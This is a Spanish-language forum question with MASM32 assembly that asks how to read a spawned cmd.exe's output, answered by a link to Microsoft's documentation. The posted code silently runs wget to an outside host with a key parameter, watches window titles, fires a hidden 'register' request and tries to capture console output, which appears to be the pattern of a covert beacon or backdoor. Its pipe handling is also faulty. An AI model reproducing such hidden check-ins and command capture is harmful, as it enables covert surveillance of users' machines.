Test Foro de elhacker.net SMF 2.1

Hola a todos me gustaría saber como puedo leer la salida de un comando ejecutado en la consola, me explico:

Mi programa -> Lanza el comando cmd.exe -> el programa recibe en un buffer lo que mostró es decir:

CitarMicrosoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

Tengo el siguiente código, solo tomen importancia en donde he comentado:

.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\shlwapi.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\shlwapi.lib

.const

.data
lpString2 byte "NOTE",0
lpCmdLine1 byte "wget.exe http://www.pagina.com/new.php?start=yes&key=111022212 --delete-after",0
lpCmdLine2 byte "wget.exe http://www.pagina.com/register.php?key=1093211 --delete-after",0
lpCmdLine3 byte "cmd",0
lpCmdLine4 byte 100 dup(?)
lpCmdLine4_size byte ?

.data?
lpString byte 80 dup(?)
hWnd HANDLE ?
lpOut byte 40 dup(?)

sinfo STARTUPINFO <>
pinfo PROCESS_INFORMATION <>
sattb SECURITY_ATTRIBUTES <>

hReadPipeOut HANDLE ?
hWritePipeOut HANDLE ?
.code
main PROC
invoke Sleep,20000d
invoke WinExec,addr lpCmdLine1,SW_HIDE
bucle:
.WHILE(TRUE)
invoke Sleep,3000d
invoke GetForegroundWindow
mov hWnd,eax
.IF hWnd!=NULL
invoke GetWindowText,eax,addr lpString, sizeof lpString
mov edi,offset lpString
mov eax,dword ptr ds:[lpString2]
mov ecx,lengthof lpString
cld
repne scasb
jnz bucle
dec edi
mov edi,dword ptr ds:[edi]
cmp eax,edi
jnz bucle
invoke WinExec,addr lpCmdLine2,SW_HIDE
; ---AQUI LO QUE ESTOY INTENTANDO REALIZAR---
mov sattb.nLength,sizeof sattb
mov sattb.bInheritHandle,TRUE
mov sattb.lpSecurityDescriptor,NULL
invoke CreatePipe,addr hReadPipeOut,addr hWritePipeOut,addr sattb,0

invoke SetHandleInformation,hReadPipeOut,HANDLE_FLAG_INHERIT,NULL

mov eax,hReadPipeOut

mov sinfo.cb,sizeof sinfo
mov sinfo.dwFlags,STARTF_USESTDHANDLES
mov sinfo.hStdOutput,eax
mov sinfo.hStdOutput,eax
mov sinfo.hStdError,eax
invoke CreateProcess,NULL,addr lpCmdLine3,NULL,NULL,TRUE,0,NULL,NULL,addr sinfo,addr pinfo

invoke ReadFile,hReadPipeOut,addr lpCmdLine4,sizeof lpCmdLine4,addr lpCmdLine4_size,NULL
; ------ FIN DE LO QUE ESTOY INTENTANDO REALIZAR -----
invoke Sleep,1200000d
.ENDIF
.ENDW
main ENDP
END main

Problema: Luego de llamar a ReadFile nunca retorna y su buffer no contiene la salida de cmd.

A ver si me ayudan, saludos

Creating a Child Process with Redirected Input and Output (https://msdn.microsoft.com/en-us/library/ms682499%28v=vs.85%29.aspx).